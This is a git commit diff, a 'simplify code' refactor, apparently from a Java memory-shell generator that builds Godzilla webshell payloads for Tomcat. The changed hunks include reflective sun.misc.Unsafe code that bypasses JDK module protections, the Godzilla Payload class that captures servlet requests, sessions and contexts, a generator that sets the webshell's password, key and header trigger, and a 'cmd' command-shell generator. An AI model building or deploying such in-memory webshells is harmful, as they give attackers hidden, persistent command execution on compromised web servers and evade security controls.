refactor: simplify code

This commit is contained in:
ReaJason
2024-12-04 22:40:58 +08:00
parent 9c5aabb8f0
commit 75ea80f153
10 changed files with 32 additions and 54 deletions
@@ -27,11 +27,9 @@ public class ByPassJdkModuleInterceptor {
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true); unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null); Object unsafe = unsafeField.get(null);
java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule"); Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
Object module = getModuleM.invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module"); Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF);
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, clazz, offset, module); getAndSetObjectM.invoke(unsafe, clazz, offset, module);
returnValue = true; returnValue = true;
File diff suppressed because one or more lines are too long
@@ -77,7 +77,7 @@ public class Payload extends ClassLoader {
} }
if (methodName != null) { if (methodName != null) {
if (className == null) { if (className == null) {
Method method = getClass().getMethod(methodName, null); Method method = getClass().getMethod(methodName);
Class<?> returnType = method.getReturnType(); Class<?> returnType = method.getReturnType();
Class<?> cls = class$0; Class<?> cls = class$0;
if (cls == null) { if (cls == null) {
@@ -89,7 +89,7 @@ public class Payload extends ClassLoader {
} }
} }
if (returnType.isAssignableFrom(cls)) { if (returnType.isAssignableFrom(cls)) {
return (byte[]) method.invoke(this, null); return (byte[]) method.invoke(this);
} }
return "this method returnType not is byte[]".getBytes(); return "this method returnType not is byte[]".getBytes();
} }
@@ -251,13 +251,13 @@ public class Payload extends ClassLoader {
Method getServletContextMethod = getMethodByClass(obj.getClass(), "getServletContext", null); Method getServletContextMethod = getMethodByClass(obj.getClass(), "getServletContext", null);
Method getSessionMethod = getMethodByClass(obj.getClass(), "getSession", null); Method getSessionMethod = getMethodByClass(obj.getClass(), "getSession", null);
if (getRequestMethod != null && this.servletRequest == null) { if (getRequestMethod != null && this.servletRequest == null) {
this.servletRequest = getRequestMethod.invoke(obj, null); this.servletRequest = getRequestMethod.invoke(obj);
} }
if (getServletContextMethod != null && this.servletContext == null) { if (getServletContextMethod != null && this.servletContext == null) {
this.servletContext = getServletContextMethod.invoke(obj, null); this.servletContext = getServletContextMethod.invoke(obj);
} }
if (getSessionMethod != null && this.httpSession == null) { if (getSessionMethod != null && this.httpSession == null) {
this.httpSession = getSessionMethod.invoke(obj, null); this.httpSession = getSessionMethod.invoke(obj);
} }
} catch (Exception e) { } catch (Exception e) {
} }
@@ -758,7 +758,7 @@ public class Payload extends ClassLoader {
int argsCount = Integer.parseInt(argsCountStr); int argsCount = Integer.parseInt(argsCountStr);
if (argsCount > 0) { if (argsCount > 0) {
for (int i = 0; i < argsCount; i++) { for (int i = 0; i < argsCount; i++) {
String val = get(String.format("arg-%d", new Integer(i))); String val = get(String.format("arg-%d", i));
if (val != null) { if (val != null) {
argsList.add(val); argsList.add(val);
} }
@@ -1053,7 +1053,7 @@ public class Payload extends ClassLoader {
} }
} }
if (returnType.isAssignableFrom(cls2)) { if (returnType.isAssignableFrom(cls2)) {
return (Map) method.invoke(null, null); return (Map) method.invoke(null);
} }
return null; return null;
} catch (Exception e) { } catch (Exception e) {
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memsell; package com.reajason.javaweb.memsell;
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper; import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Constants;
@@ -9,7 +8,6 @@ import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor; import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation; import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall; import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.jar.asm.Opcodes;
import net.bytebuddy.matcher.ElementMatchers; import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.codec.digest.DigestUtils;
@@ -26,10 +24,6 @@ public class GodzillaGenerator {
} }
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) { public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, useJakarta, targetJdkVersion, true);
}
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion, boolean changeClassVersion) {
String md5Key = DigestUtils.md5Hex(key).substring(0, 16); String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase(); String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
@@ -42,9 +36,7 @@ public class GodzillaGenerator {
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass) DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
.name(godzillaClassName); .name(godzillaClassName);
if (changeClassVersion) { builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
}
if (useJakarta) { if (useJakarta) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -0,0 +1,10 @@
package com.reajason.javaweb.util;
public class ClassDefiner extends ClassLoader {
private ClassDefiner() {
}
public static Class<?> defineClass(byte[] code) {
return new ClassDefiner().defineClass(null, code, 0, code.length);
}
}
@@ -13,9 +13,7 @@ public class ClassUtils {
@SneakyThrows @SneakyThrows
public static Class<?> defineClass(byte[] bytes) { public static Class<?> defineClass(byte[] bytes) {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); return ClassDefiner.defineClass(bytes);
defineClass.setAccessible(true);
return (Class<?>) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length);
} }
@SneakyThrows @SneakyThrows
@@ -37,21 +35,4 @@ public class ClassUtils {
method.setAccessible(true); method.setAccessible(true);
return method.invoke(object, parameters); return method.invoke(object, parameters);
} }
public static void byPassJdkModule() {
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule");
Object module = getModuleM.invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module");
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF);
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, ClassUtils.class, offset, module);
} catch (Exception ignored) {
}
}
} }
@@ -10,6 +10,7 @@ import java.util.zip.GZIPOutputStream;
* @author ReaJason * @author ReaJason
*/ */
public class CommonUtil { public class CommonUtil {
public static byte[] gzipCompress(byte[] data) throws IOException { public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
@@ -1,9 +1,9 @@
package com.reajason.javaweb.memsell.tomcat.godzilla; package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.memsell.GodzillaGenerator; import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.util.ClassUtils; import com.reajason.javaweb.util.ClassUtils;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64; import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
@@ -36,7 +36,7 @@ class GodzillaValveTest {
@SneakyThrows @SneakyThrows
void generateJakarta() { void generateJakarta() {
String className = "org.apache.utils.CommonJakartaValve"; String className = "org.apache.utils.CommonJakartaValve";
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Opcodes.V11, false); byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Constants.DEFAULT_VERSION);
// Files.write(Paths.get(className + ".class"), bytes); // Files.write(Paths.get(className + ".class"), bytes);
Object obj = ClassUtils.newInstance(bytes); Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName()); assertEquals(className, obj.getClass().getName());
@@ -14,6 +14,7 @@ import okhttp3.HttpUrl;
import okhttp3.OkHttpClient; import okhttp3.OkHttpClient;
import okhttp3.Request; import okhttp3.Request;
import okhttp3.Response; import okhttp3.Response;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import java.util.Objects; import java.util.Objects;
@@ -28,6 +29,7 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
public class CommandShellTool { public class CommandShellTool {
@Test @Test
@Disabled
void testGenerate() { void testGenerate() {
String content = generate(Server.TOMCAT, CommandShellConfig.builder().paramName("cmd").build(), TomcatShell.JAKARTA_FILTER, Opcodes.V11, Packer.INSTANCE.ScriptEngine); String content = generate(Server.TOMCAT, CommandShellConfig.builder().paramName("cmd").build(), TomcatShell.JAKARTA_FILTER, Opcodes.V11, Packer.INSTANCE.ScriptEngine);
System.out.println(content); System.out.println(content);
@@ -1,11 +1,9 @@
import javax.script.ScriptEngineFactory;
import javax.script.ScriptEngineManager; import javax.script.ScriptEngineManager;
import javax.script.ScriptException; import javax.script.ScriptException;
import javax.servlet.ServletException; import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import javax.xml.bind.DatatypeConverter;
import java.io.IOException; import java.io.IOException;
/** /**